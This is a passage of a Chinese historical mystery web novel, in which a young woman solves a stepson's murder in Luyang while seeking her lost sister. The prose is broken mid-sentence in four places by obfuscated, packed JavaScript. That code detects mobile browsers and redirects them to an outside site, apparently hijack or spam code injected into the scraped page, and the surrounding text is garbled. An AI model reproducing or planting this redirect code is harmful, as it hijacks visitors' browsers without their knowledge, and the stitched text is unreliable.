晏宁见他当真知道，便随口说了句：“前些年家中姐姐嫁给了孟家少爷，我许久未和她联系，思念得紧，这才前来寻她。” 这话真假参半，倒叫人瞧不出端倪。 伙计果然信了，点点头，随即将擦桌的毛巾甩到肩上，叹道：“但你来晚了，孟家举家搬迁，早已不在庐阳。” 晏宁手指一紧，“那你可知他们搬去哪儿了？” “这就不清楚了。” 远处有人招呼他，他转头应了，又连连告歉，对晏宁道：“姑娘，我还要忙，你先吃茶，若想起来要问什么，你再唤我。” 晏宁心不在焉的点头。 孟家搬迁，线索到这儿又断了。 前桌细碎声音响起。 “听说了吗？河里捞出来一具尸首，可怕的哩。” “那能不知道吗，我可是亲眼瞧见了，脸都给泡肿了。” “死的是谁啊？” “我知道，是老庄家的。” “就是那个死了丈夫的庄家？” 有人不屑的啐了口，“死了丈夫又怎样，还不是又嫁给隔壁卖猪肉的。” “话不能这么说。”头包发巾的妇人反驳道：“自家男人死了，还带着个儿子，她一个人如何过活，幸好那儿子还算孝顺，只可惜……” “说什么也无用，人已经没了……哪个天杀的连老实人也不放过！” 晏宁抿了口茶，对这些事并不感兴趣，只坐了会儿，便离开了。 她一路问一路往县衙走去，户籍文书都放在县衙里，想来举家搬迁这么大的事也会留下痕迹。 走了一段路后，她看到县衙门口正跪着一个妇人，穿着粗布麻衣，双手略显粗糙，看样子是常年干体力活的，额上有块红印，还在往下淌血，显然是新鲜的，面上泪水横流。 四周围着不少看热闹的百姓，口中似乎提到了‘庄家’‘死了’这几个字眼。 她隔得远，听得不真切。 过了会儿，县衙里头走出来一个衙役打扮的男人，他朝外头喝道：“都堵在这干什么呢！再不走，每人都进来挨几棍子！” 此话一出，所有人都一窝蜂的散了。 晏宁走近了些，听到衙役低头对妇人道：“你也回去吧，查案子也要时间，你一直跪在这会影响大人查案的。” 妇人怎么都不肯听，又连连磕了几个头，鲜血顺着她鼻梁流下，红得刺眼，脸上泪水与血水交错，形容吓人。 “大人一日没找出杀害我儿的凶手，我便一日不起来！” 她眼中哀痛换任何一人见了都不会无动于衷。 晏宁走上前，轻声道：“大人。” 衙役心头正烦着呢，冷不防又听到这么一句，扭头就骂道：“谁又叫大人？没看到大人我正忙着呢！” 一时没看到人，他低头，晏宁站在石阶下，矮了他半个身子，难怪没注意。 他打量晏宁几眼，过了会儿，才问：“你又有何冤情啊？” 晏宁摇头，“大人误会了，民女并非报案，而是想向大人借调户籍查看。” 衙役只当她是来捣乱的，二话不说便赶人，“去去去，没看到这正忙着，哪有功夫管你这闲事。” 转头又对妇人好言相劝，“夫人，你这不是让我家大人为难吗？我知道你急于找出凶手，但这案子一没人证二没物证，只凭他脖子上的勒痕不足以断案，所以你还是回去等消息吧。” 妇人不为所动。 晏宁看向她，神色若有所思。 她不再待下去，而是回到了方才的茶摊，那几个碎嘴妇人还在那，她走到一旁坐下，对上妇人投来的目光，她柔柔回以一笑。 她生得单纯无害，外表看来更是乖巧温柔，何况她长得也算好看，眉清目秀，让人心生好感。 妇人也对她笑了下，主动打开话匣，“姑娘，你是哪儿人啊？瞧着不像我们这儿的。” 一方水土养一方人。 她温温柔柔，一说话就腼腆的低头，确实不像庐阳人。 晏宁轻声道：“我是从南边来的。” 妇人握着她的手，真是越看越喜欢，“长得可真水灵，不过你怎么一个人出远门，家中长辈不会担心吗？” 晏宁叹了口气，面露悲伤，“我娘嫁给了后爹，我也是为了躲后爹才一个人逃出来的。” 她抬手拭泪，衣袖像是有些短了，露出半截胳膊来，胳膊上大大小小的伤痕看着都是陈年旧伤，像是刀子划得，被遮住的地方不知还有多少！虽已愈合，却留下伤疤再难痊愈。 这对一个姑娘来说何其残忍！ 妇人眼中流露出心疼，“哪来的野 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831666|175592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蛮子，竟也下得了这毒手！” “可不是！”其他人也跟着附和。 有人“诶”了声，“说不准那庄家儿子就是他后爹杀的。” “这可不行胡说啊！” 被反驳的那人不乐意了，“怎么就胡说了，你们想啊，前几年庄家媳妇还没改嫁的时候，日子不都过得挺好，她儿子老实本分，从不与人结怨，谁如此狠心对他下毒手！” 众人都不说话了。 晏宁适时插-进来，问：“可他后爹又为何要杀他？若不是深仇大恨岂会这么狠心？” “这谁能知道呢？也许他就是心里有病。” 本是随口胡言，却让晏宁留了个心眼。 “还真别说，我都不敢去他家买猪肉，那双眼一瞪过来，我都以为他要拿刀砍我……” 她们又开始了家长里短，各种抱怨牢骚听得她一阵心烦，左右得不到新的消息，她干脆与妇人告别，向另一个方向走去。 要想进得了县衙，就得手握筹码，县衙如今不是正苦于案子陷入焦灼，那她就抢先一步查出来，办法总比困难多。 她心中大致明了，只是还有个问题得先查证一番。 先前她便问过了那庄家所在何地，既要查案，那就得去家里走访一趟。 庄家在城西的一处裁缝铺里。 沿着街道一直走，经过三间成衣铺，四间酒楼，穿过半月桥，会看到一处巷子。 她先去成衣铺里买了件衣衫，最便宜的那种，付银子时掌柜的看她的眼神尽是奚落和鄙夷，不过晏宁习以为常，自然不会放在心上。 最后她停在巷口，盯着眼前这条路，像极了定襄城中她常常走过的巷子。 陌生的地界，陌生的巷子，实在无法不让人心生提防。 她抬脚往里走，看上去倒不见害怕之色，只是腹中感到饥饿，走到这儿，已至傍晚，她路上也就吃了点蜜饯果子充饥。 身后传来轻微动静，她侧身躲过，避开朝她扑来的男子。 傍晚的余晖落下，在她身上渡了层光，眉目清秀的女子抬眸，眼中无悲无喜，更像菩萨睁眼。 她分明身娇体弱，却能眼疾手快地躲开。 男子是个混混，早在她入城时便盯上了，一个孤身在外的女子，身旁又无旁人，即便出了什么事，也找不到地方讨公道。 他早就想好了，就趁着无人，想占点便宜。 谁知，一来就扑了个空。 晏宁冷眼瞧着他，“你是何人？跟着我做什么？” 男子“嘿嘿”笑了起来，长满麻子的脸看着真叫人作呕，“孤男寡女，你说能做什么？” 晏宁垂眸，顿了顿，突然笑了下，抬头时她脸上的笑还没落下，脚已经抬起来了，一脚踹在男子的腹前，让他好半天爬不起来。 男子见她柔弱，本就不设防，谁能想她突然来这么一下，骨头都快给他踢散架了。 耳边传来脚步声，他睁开眼，见晏宁一步步朝他靠近，如同见了鬼煞神一般，哪还有开始的嚣张，只能不停往后挪。 他张了张口，像是要说什么。晏宁在他面前蹲下，伸出手指放在嘴边，轻轻“嘘”了一声，边摇头道：“不要出声，你听。” 5. 查案 她手指了个方向，作倾听状，沉醉着迷，男子受她感染，以为真有什么动静，下意识屏住呼吸，也凑过去听。 “听到了吗？”晏宁勾唇，“恶鬼作乱，夜半杀人，死一个人，应该没什么大不了的吧？”她耸耸肩，模样调皮又无辜。 听在男子耳朵里，却渗人得很。 “你想不想试试？” 男子拼命摇头，眼前人能一脚把他踢飞，哪是寻常女子，怕是个练家子，长着一张无辜脸，说出的话却像地狱的无常……他平日里只是喜欢调-戏女子，做些小偷小摸的，遇上会些拳脚功夫的，他压根打不过。 “真不想试？”她轻声叹息，像是觉得有些可惜，摸了一把发辫，继续蛊惑道：“我知道一种不疼的法子，保证你眼一闭，什么感觉都没有。” 这哪是女菩萨，分明是女阎罗！ 男子吓得小腿直哆嗦，分明青天白日，却好似来到了无间地狱，冷意直往骨头缝里钻。 “抱歉啊七娘，又打扰你了。” 一个声音打断两人。 晏宁直起身，面无表情的盯着来人。 他嘴上说着抱歉，脸上却无半点歉疚的神色，反倒笑着扬眉。 地上男子趁机逃走，连滚带爬地，时不时往后看，生怕晏宁又追过来，那背影和来时不同，要多狼狈有多狼狈。 “谢公子无所事事，莫不是又落下什么了？”她话语阴阳怪气，只因初见时，他也是找的这个借口。 “七娘说笑了。”谢鹤明朝她走近，地上的两个影子也在靠近，“我真是路过，不信的话……你问元青。” 被点到名的元青无辜的眨了眨眼。 晏宁看向他。 他趋于谢鹤明的淫威，只能点头，“不错，我作证！公子的确是路过……” 说是作证，声音却越来越小，半分可信度都没有。 晏宁也懒得与他争论，只道：“公子贵人事忙，我便不打扰了，先行一步。” “七娘。”在晏宁经过他身旁时，谢鹤明叫住她，“期待我们的下次见面。” “最好不要。” 等晏宁的身影消失在巷子口，元青问：“公子，怎么觉得七姑娘似乎不待见你？” 虽说七姑娘句句皆有回应，但那语气总是冷冷淡淡，看起来好像很讨厌他们一样，七姑娘对旁人可是有说有笑的。 谢鹤明望着晏宁离开的方向出神，过了一会儿，才道：“若你的秘密被我知道了，你能待见我？” 元青连忙摇头表忠心，“公子，我哪有秘密敢瞒着你啊。” 见谢鹤明不说话，他挠挠头道：“不过七姑娘这么一个温柔和善的人也会恐吓人，真是与众不同。” “和善？”谢鹤明淡笑，“见过会杀人的善人吗？” 他眼中闪过一丝微不可察的异样，晏宁的变化之大已然出乎了他的预料。 从前的晏宁，虽也冷淡，浑身上下都透着对世间的厌恶，可她下手还是有所保留，不像如今…… 是对人命的漠视。 …… 出了巷子，远远便能瞧见一家铺面，在长街尽头，四周少有人烟，晏宁走过去，站在铺子前，并不急着进去，目光四下转了转。 铺子很小，入口也只容两人通过，里头昏暗，只能隐隐看到桌上摆着一台缝纫机，在天色的映衬下更显阴森恐怖。 这个时辰，门未落锁，想来是铺子里有人。 庄家夫人还跪在县衙门口，那在里面的只能是…… 正在此时，铺子里走出来一个男人，高头大耳，身材魁梧，半边臂膀裸-露在外也不觉得冷，肌肉隆起，结实硬朗，手中端着木盆，盆中血淋淋的，还掺着一些动物皮毛，站在台阶上就往外泼水。 晏宁快速躲开。 她闻着血腥气皱了皱眉。 “你找谁？” 一抬头，男人已经注意到她，正板着脸瞪她。 晏宁绕过地上一滩水，走到离他不远处，温声道：“我有件衣衫想略做调整，这个时辰应该还没关门吧？” 男人瞥她一眼，“老板娘不在，改日再来。” “无妨的。”晏宁道：“我可以进去等。” 面对男人探究的神色，她不好意思的笑了笑，“明日家中姐妹小聚，若穿着不合身的衣衫，难免惹人耻笑，还请大哥行个方便，多晚都行。” 女子都好面子，庐阳人更是在穿衣打扮上尤为讲究，她如此说，倒没什么问题。 男人见她面容和善，只当她是为了在自家姐妹面前争个脸。 “进来吧。” 晏宁目的达成，跟着他进了门。 倒不是她没有一丝防备，只是方才在看到这个男人时，心中疑虑就更深了。 男人是个屠夫，常年杀猪宰牛，体格强壮，孔武有力，若想杀一个比他瘦弱的男子，至少在力气上他就胜人一筹。 而且，他身上似乎并未看到任何新伤。 可她听到的却是—— “他死的可惨嘞，听说浑身上下都是淤青，多半是被人打的。” 被人打的？ 晏宁看向面前男人，若是被他打的，不该只有淤青，怕是连骨头都断了。 而死者浑身青紫，致命伤却只有脖子一处，还有一个可能…… 拼命挣-扎时留下的。 但这些都是她的猜测。 “坐吧，她没那么快回来。”语气算得上冷淡。 晏宁心中一动，抬头看他。 外界传言，庄家夫人虽是丈夫死后再嫁，但两人早就私相授受，暗通款曲，感情应该很好才对，可眼下听他的意思，事实似乎并非她所想的那样。 她扫一眼铺子，的确很小，墙面上挂着几件粗布旧衣，墙角堆放着几根杆子，不知做什么用的。 桌台上还摆着几本书，书页多有磨损，应该被人常常翻动查看。 她随口问了句，“夫人也爱看书？” 屠夫顺着她的目光看去，“说是垫桌脚用的，没见她看过。” 晏宁转动眸子，“铺子这么窄，大哥和夫人平日里住在这儿不会很不方便吗？” 她语气平淡，像是闲聊一般无意说起，眼神又很真诚，再大的疑虑都被压下，屠夫道：“里边还有间房，原本是……” 后面的话他没说完，神色暗淡下来。 晏宁猜测他想说的应该是庄家那个死去的儿子吧。 她一问再问，男人脸上都没流露出任何不耐的神情，可见脾气不像他人所说那样暴躁，这样的人真的会动手打人吗？ 知人知面不知心。 晏宁留了个心眼。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831667|175592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 又坐了约莫半柱香时间，门外传来响动，男人身后跟着一个妇人，二人一道进屋。 方才男人将她引入铺子里，没过片刻便出了门，铺子周围虽不像城中那般热闹，但也是有人住的，一男一女处在同一屋子里，难免落人口实。 晏宁不知对方如何想，但他能想到这一步，又叫她高看一眼。 “就是这位姑娘想裁剪衣衫。” 妇人看向晏宁，愣了下，愕然道：“怎么是你？” “夫人，我能帮你找出凶手。”她直言不讳。 眼前二人的反应截然不同，屠夫脸上虽是惊讶，但更多的像是欢喜与悲痛杂糅，这是正常人的反应，而庄家夫人…… 她眼中一闪而过的慌乱被晏宁敏锐的捕捉到，心中有了底，也没必要再待下去了。 她起身告辞。 妇人喊住她，犹疑道：“你要如何帮我找出凶手？县太爷都查不出来的事你能怎么办？还是说……你知道谁杀了我儿子？” 她一连三问，似乎迫切的想知道答案，晏宁淡淡笑了笑，“夫人放心，我自有我的门道。” 一个执着为儿子申冤的妇人长跪于县衙外，恳求青天大老爷早日将凶手绳之以法，看似合情合理，但她做的有些过了。 或许是晏宁从未感受过亲人的关心，她便能抛却常人的情感，跳脱出去，用另一种眼光看待问题。 若庄家夫人从一开始就知道凶手是谁，再大胆猜测，她与凶手共同参与了这场谋杀。 她并不无辜。 她做这一切就是为了演给外人看的，为了让庐阳百姓相信她爱她的孩子，上演了一场母慈子孝的戏码。 子或许是孝顺的，但母亲慈不慈的就不知道了。 这样一来，没人会怀疑到她头上，届时找不到凶手，时间一长，案子被人淡忘，她也能全身而退。 晏宁回身看了眼模糊成一个点的裁缝铺，牵了牵唇，世上的母亲的确都不爱自己的孩子。 她用了十四年摸透人心，用三年了解人性，可原来她所知也不过是冰山一角罢了。 接下来便是查看尸首，验证自己的猜测。 晏宁往县衙走，快至正门时，脚步一顿，拐了个方向。 夜黑风高，正适合—— 爬墙。 她跳下墙头，待站稳后，往后瞧了眼，扯唇走了。 县衙不大不小，找起停尸房来也不算艰难。 绕过几个花坛，走到最里边的屋子，站在门口就能闻见一股腐臭之气。 晏宁眉心微蹙，只一下便松展开来，她一边掀帘往里查看，一边注意着四周动静，神色自若，没有一丝擅闯县衙的慌张。 进了停尸房，味道更冲，她快速穿梭在几具尸体间，一个个掀开来看，终于，在最角落里找到符合描述的尸体。 脖颈有伤，身上有淤青。 虽面容肿-胀，但能看出年岁不大。 她从一旁取来护手戴上，掀开男尸腿上的白布，伸手捏了捏。 记得这具男尸是在两日前发现的，那时脸部已有浮肿现象，说明凶手抛-尸至少也有三日。 她不是仵作，知道的并不详尽，但尸僵已在消退，捏他腿上骨骼完好，不曾有重力殴打痕迹，与她所料一致。 这时，屋外亮起灯火。 6. 人证 晏宁迅速摘下护手丢到一旁，将白布重新盖好，躲在帘后观察了一番。 夜色很暗，但在这昏暗的夜色里有个侍卫打扮的男子提着盏灯，为一个年轻公子照亮脚下的路。 那公子锦衣白玉，气质斐然，径直朝门外走去。 难道这是县太爷？这大晚上的要去哪儿？ 等他们走过之后，晏宁悄声跟在后头，离得不远不近，确保自己不被发现又能有脱身的机会。 幸而一路皆有树木遮挡，倒是方便了她窥-探。 但见那二人走到大门外就停住了，嘴唇动了几下，似是和什么人在交谈，从她这个方向看去，正好将门外之人挡住，晏宁只好又从树后穿过，彻底看清了那个人的脸。 她皱眉，暗骂一句阴魂不散，毫不犹豫转身，顺着原路跑了。 …… 半柱香前，谢鹤明只慢了晏宁一步来到县衙外，衙役拦住他，上下打量一眼问：“来干什么的？” 元青从怀中拿出一样东西给他看，“我家公子有事要找少卿大人，烦请通禀一声。” 大理寺少卿来庐阳一事并未告知旁人，这二人如何知晓？且不说此事隐秘，就这二人鬼鬼祟祟的样子，定不是什么好人！ 衙役满脸戒备，更不认识他手上的玉牌，二话不说就开始赶人，“你找错地方了，这儿没什么少卿大人。” 谢鹤明侧身躲开他的推搡，皮笑肉不笑道：“换个人来。” 衙役一脸莫名，“什么换不换人的，走走走，别在这杵着。” “出什么事了？” 衙役转身，脸上神情似惊似恐，随即赔笑道：“木大人，您怎么出来了？” 被他称之为木大人的男子只看了谢鹤明一眼，便是一愣，接着抱拳行礼，“谢公子。” 弯腰低头，姿态谦逊。 衙役傻眼了，他忐忑的看向木曈，“大人，这位是……” 木曈狠狠呵斥一句，“什么这个那个的，在你眼前的是谢家公子。” 衙役还是不明白，“哪个谢家？” “京都还能有哪个谢家？” 京都自然只有一个谢家，那就是贵妃娘娘的母家。 三年前那事闹得沸沸扬扬，即便远在庐阳，亦是有所耳闻。 谢家主母身子孱弱，太医断言她难有子嗣，这对一个女人来说何其残忍！ 何况，谢家老爷是个多情的，府上妾室一房一房的抬进门。容颜易逝，若再无子嗣，她又如何坐稳谢家主母的位子？好在她的女儿争气，得天子宠爱，盛极一时。 可天家恩宠既是荣耀亦是毒，谢氏主母看得明白，打定主意后便从谢氏旁□□过继来一个孩子。正常过继都会选择那些刚出生或是尚不能记事的婴孩，但她却选了一个即将弱冠的少年。 这在外人看来又何尝不是一场豪赌。 少年得了谢氏看重，身价自然水涨船高，京中任谁见了都得给三分薄面。 衙役一愣，缓慢扭头看向谢鹤明，难道这就是那个少年？ 他惊得好半晌没反应过来，整个人彻底呆滞。 木曈对谢鹤明道：“公子是要找我家大人吧？我带您进去。” “不必了，我在这等着便是。” 木曈只好快速进去通报，门外只剩三人。 衙役回过神，惶恐不已，见眼前人始终不曾开口，脸上虽挂着笑，却仿佛暗藏利剑，叫人心头胆寒，他“扑通”一声跪下，“公子恕罪，小的有眼不识泰山，冒犯了公子，还请您大人不记小人过……” 他忐忑不安地说完，谢鹤明始终都没说话。 分明是十月天，衙役脸上却冒了一层汗，战战兢兢等待审判。 他自知命贱，是生是死全在贵人的一念之间。 过了许久，谢鹤明像是才注意到他，“啧”了声，“小事罢了，怎么还跪下了？” 衙役不敢动。 “起来吧。”他淡淡道：“我这人大度得很，不会放在心上。” 元青惊疑地望着他。 “云隐。” 有人从府中走出来。 谢鹤明抬眼，露出一丝真切的笑，“松年。” 顾绍之走到他面前，问：“怎么不进去？” 谢鹤明只道：“有一事想拜托你。” 这就奇了，谢鹤明也有办不了的事？ “你说。” “一会儿有个姑娘……” “等等，姑娘？”顾绍之瞪大双眼，险些以为自己听错了，“你开窍了？” “……是有个姑娘会来查验尸体，你让她进去，若不放心，可派人跟着她。” “验尸？验谁的？” 谢鹤明正要开口，目光一掠，神情顿时怔住，“不用了。” 他看着那个熟悉的身影消失在拐角，顿了片刻，低头笑了笑，瞧着竟有几分落寞之色。 “什么不用了？”顾绍之不明所以，见对方要走，忙道：“你倒是说清楚啊。” 走出一段距离后，元青回身望了眼离他们越来越远的县衙，“公子，你不是想帮七姑娘吗？怎么又走了？” “没意义了。” 元青不解，挠挠脑袋，“你想帮她，又不让她知道，那你图什么呢？” 谢鹤明笑了，天边一道明月照进他眼底，那眼中像是多了些别的东西，“我帮她是我的事，即使没有我的帮忙，她也能自己做到。” “所以我的帮助不是雪中送炭，只是锦上添花。” …… 晏宁从县衙出来后，又回到了那间裁缝铺前。 此时，月上梢头，树枝缝隙中透出的月光洒在晏宁脸上，淡淡一层，让她的眼瞳也变得明亮不少，只是树干之上往外延生的树叶罩在她身上，将她笼罩在阴影里。 一半明一半暗。 像是正与邪的对立，善恶皆在她的一念间。 已过子时，四下无人。她从发辫中取出一根细小银簪，簪头嵌着一粒珠子，还没指甲盖大小，长度也不过手指一半长，因藏在辫子夹缝中，竟一直无人发现。 她将银簪插-入铺子的锁孔中，手腕微动，簪子在孔隙中搅弄几下，忽地，她眸心一敛，正要有所动作，身后讨人厌的声音便想起了，“七娘。” 那股燥郁又从心底升起，晏宁转身盯着他，脸色已经算作难看了。 见状，谢鹤明像是愣了愣，过了会儿，才道：“你孤身一人，总要有人替你望风……” 闻言，晏宁神色好转了些。 她不再看他，转身入了屋。 屋子和她先前所看没什么两样，不过她那时发现了几处异样，当下无法查证，只能拖到深夜了。 她先走到桌旁，从袖子里取出一块丝帕来，将桌子仔细擦了一遍，确定没有留下任何证据后，才将帕子收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831668|175592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好。 傍晚时她在铺子里单独待了半刻钟的时间，大抵是对方见她一个女子没什么可提防的，倒也放心。 不过男人虽然走出去了，但他只要一转身便能看到晏宁，因而她能做的并不多，只是借身躯遮挡，将一些粉末撒在桌上。 这些粉末细小如尘，肉眼无法看见，吸入过量便会陷入沉睡。 她离开时天色渐晚，铺子已经关门，外人自然不会在这个时候进入，想来吸入粉末的都是这个案子的关键人物。 擦去证据后，她走到角落，蹲下身凑近去看那堆棍子的底部。 ——一抹褐色痕迹。 她伸手触摸，反复摸索几下，手指放到鼻下轻嗅。 味道虽淡去不少，但还是能闻见一丝腥气。 果真是血。 她记得死者身上并无被尖锐之物划破的伤痕…… 屋中静得只有她的呼吸声，蓦地抬眼，她望向里屋。 没有多犹豫，她走了进去。 里屋景象让她怔了片刻，妇人躺在床上，屠夫躺在地上，二人并不同榻而眠，意料之外又在情理之中。 她小心绕过屠夫身旁，来到一张书案前。屋中很暗，唯一的光线还是从并未关紧的窗子外透进来的。 书案上的东西不多，几本书册，一支笔，还有一方砚台。 按理说这该是死者生前所用之物，据她了解，妇人和屠夫不曾念过书。 可这笔…… 晏宁用指腹轻轻碰了碰，立即染上黑墨。 是半湿的。 说明有人不久前才提笔写过字。 一股风从窗缝外卷入，案上书页翻飞，窸窣声响起。 晏宁眉心一动，似是心有所感，身子反应更快，当即弯下腰，一根本该砸向她脑袋的棍子顿时落了空，同时，晏宁回头。 在她身前的是个中年男子。 一副读书人的打扮。 她眼眸微动，出声问：“你是何人？” 一瞬间，晏宁心中已想了许多。 谢鹤明在铺子外，有人进来他不可能不知道，除非他是故意的。说是望风，但如何做还不是全赖他一句话。 另一种可能，这人本就藏在屋子里。 晏宁眯着眼打量他，男子身形偏瘦，与屠夫简直是两个极端。看着斯文，脸上却无半点读书人的文雅，反倒有些阴郁。 “就是你说要查出凶手。” 一开口，嗓音沙哑又低沉。 “是又如何。”晏宁大大方方的承认了。 “那你也给我去死！” “既然我都要死了，不如就解决我一个疑惑吧。”晏宁定定看着他，“人，是你杀的吗？” “是他逼我的！”这便是承认了。 晏宁道：“杀人偿命，你认罪吗？” “承认了又怎样！”男人有恃无恐，像是笃定她拿他没法子，“你有证据吗？” “证据自然有。”晏宁轻笑，“至于人证，”她撩起眼皮，“不就在眼前吗？” 在男人眼中，只见年轻姑娘微微勾唇，扬起一个笑，那笑容里多是嘲讽，带着高高在上的审判，与尘埃落定的从容。 女子看向他，又不像是在看他，开口道：“结束了。” 霎时，屋外涌入一群衙役，将男子制住。 “少卿大人，”晏宁笑道：“你都听到了吧？” 7. 案结 大理寺少卿顾绍之走进屋内，他盯着晏宁看了会儿，目光在她身上打转，似是探究，又似审视，神情肃穆认真，换作常人早就屈服于他的威压之下，可晏宁却只垂下头，乖巧的像这一场布局并非出自她手。 良久，顾绍之笑了，只是那笑意不达眼底，“姑娘好胆识好计谋，把所有人当作你的棋子，任你拿捏。” “大人说笑了，民女岂敢。” 顾绍之走近几步，“你故意将护手丢在地上任我们发现，又将尸首做了标记引我们察觉，最后将一切指向此二人。”他停在晏宁面前，眼中一闪而逝的惊讶，眼前女子虽表露出纤弱之态，刻意掩去眼中神色，但她给人的感觉绝非表现出来的那么简单，“破坏尸体乃重罪，本官必会深究，故而带兵前来。” 晏宁抿唇，慢慢抬起头。 那双黑眸平静如水，听了这番话也只道：“如今凶手落网，民女有一不情之请。” 她屈膝低头，言辞恳切。 顾绍之道：“说来听听。” “民女想查户籍名册。” “为何？” 晏宁垂眸，如实道：“家姐嫁人后便失了音讯，民女只知她曾在庐阳待过些时日，而后便不知去向，听闻县衙中曾保留当地百姓户籍文书，连迁调一事也有记载，这才想借来查阅一番。” 女子做了这许多事，却只为至亲之人。顾绍之若有所思地瞧着她。 比起寻常姑娘，她可算得上胆大心细、聪慧机敏，外表看上去虽柔弱，但就凭她一个人，一步步探查出真相，还能不居功自傲，倒也难得。 他转身，看向被衙役制住，按在地上的男人，摆摆手道：“带回县衙。” 走到门口，他偏头，“姑娘也一起听听吧。” 晏宁点头应是。 跟着走出门外，她一眼便看到站在一旁的谢鹤明，脚步慢了下来，经过他时稍微一顿，轻声道：“多谢。” 谢鹤明神色怔松，显然没想到还能从她嘴里听到这两个字，晏宁抬眸看他一眼，“我虽做了许多准备，但也无法保证他能来得如此及时，想必你也出了力，所以——多谢。” 她虽不待见他，但也不是个拿不起放不下的人，谢鹤明既帮了她，那自该感谢。 “不过，”她话音一转，“谢归谢，我还是希望你我以后不再相遇。” 丢下这句话，晏宁又恢复冷淡，往县衙走去。 元青嘀咕道：“七姑娘怎么变脸变得这么快？”他面带怀疑地看向谢鹤明，“公子，她莫不是跟你有仇吧？” 否则怎会看都懒得看你一样？恨不得及早跟你撇清干系才好。 当然这些话，元青不敢说。 “多嘴。”谢鹤明瞥他一眼。 …… 公堂之上，中年男子跪在地上，顾绍之坐在一旁，庐阳县令姗姗来迟，诚惶诚恐地朝顾绍之行了一礼后便在堂上入座。 一扇屏风后站着晏宁、谢鹤明和元青三人。 晏宁是女子，不宜出入公堂。而谢鹤明……谁知道他怎么想。 不多时，衙役压着屠夫和庄家夫人上了公堂。 两人齐齐跪下。 妇人视线落在前方跪地的男子身上，旋即大惊失色，接着又慌慌张张掩盖自己的神情。 惊堂木一拍，地上三人便是一抖。 “庄氏，令郎被害真相如何，还不速速说来！” “民、民妇……”她磕磕绊绊两句，小心抬眼看前边男子，已是六神无主，最后一咬牙，哭喊道：“民妇冤枉啊——” “你既喊冤，便将来龙去脉说清楚！” 庄氏像是知道一切已无挽回的余地，颓然低下头去，眼中流露出的不知是悔恨更多，还是悲痛更多。 原来庄氏在成婚前便与人私通，可因家中长辈不同意，她被迫嫁给了不爱的男人，日子虽照常过下去，但她心中仍有恨。 好在前夫身子不好，在她生下孩子后没多久便去了。 本以为此生就这么过了，但她少时相恋之人却在这时出现在她面前，二人重燃旧情，又碍于外界流言，只能悄摸着在一起。 后来，一次偶然机会，屠夫对庄氏一见倾心，便主动上门求娶。 这在外人看来，屠夫不嫌弃庄氏带个孩子，愿意给人当后爹，这是庄氏修来的福气。 可之后，街坊百姓都看到庄氏儿子身上总带着伤，便以为是屠夫打的，渐渐地，关于他性子暴躁的传言便流了出来。 实际上却是庄氏借由屠夫之名，掩盖她与人私通之罪。 这世道对女子总是多了些不公。 若她在丈夫死后主动说出再嫁之事，且那人还是曾经的恋人，世人只会说她无情无义，不知礼义廉耻，更大胆的便会揣度她是否早有此心。 只要想，天大的罪名都可往她身上安。 但若由旁人主动提出，那就不一样了。 屠夫的出现无异于帮了她一把。 只是好景不长，男人多年来苦读书卷，却次次落榜，因而性子愈发暴戾。他成日殴打庄氏子，将他当成自己发泄的目标。 终于在一次夜里，他用力掐住了少年的脖颈，不让他有半口喘息的机会。 少年感到窒息，只能不停挣-扎、蹬脚。 期间被他挣开一次，男人脚步虚浮，跌在一旁角落，胳膊从木棍尖端划过，滴了一地的血。 男人暴郁难平，死死将他按住，双手掐着他脖子，一点点收紧。 这个年岁的少年力气也有些大，加上手脚并用，男人感到吃力。 说到这儿，庄氏停了下来。 县令问：“然后呢？他就这么把他杀了？” 庄氏眼眶含泪，怯怯地点了点头。 再一声巨响吓得她把脑袋埋得更低。 “你那时在哪里！从实招来！” “我……民、民妇……”庄氏往前跪爬了几步，连连叩头，却始终说不出一句话来。 “你在哪？！”县令又问了一遍。 压抑的哭声断断续续，像是回到了那个夜晚。 庄氏眼中茫然，良久后，她是这么说的，“我从屋外走进去，他在不停挣-扎，不停地……动，扭头朝我看过来，他希望我能救他……可、可是，”庄氏目光呆滞地看了眼身前男人的背影，“他叫我帮他按住，我就过去了……” “我一过去，他就不动了。” 屏风后的晏宁静静地看着这场案子落幕。 真相与她所想大差不差。 谢鹤明站在她身后，低头看着她，如此近的距离，他几乎能闻到她身上特别好闻的香味，女子的发辫垂在身侧，头上不知抹了什么精油，竟使人着迷。 他不自觉沉-沦，无意识地朝她靠近，只差一步便能吻上她的头发时，晏宁突然转过身。 近在咫尺的距离让她顿时往后仰倒，同时抬头看他。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 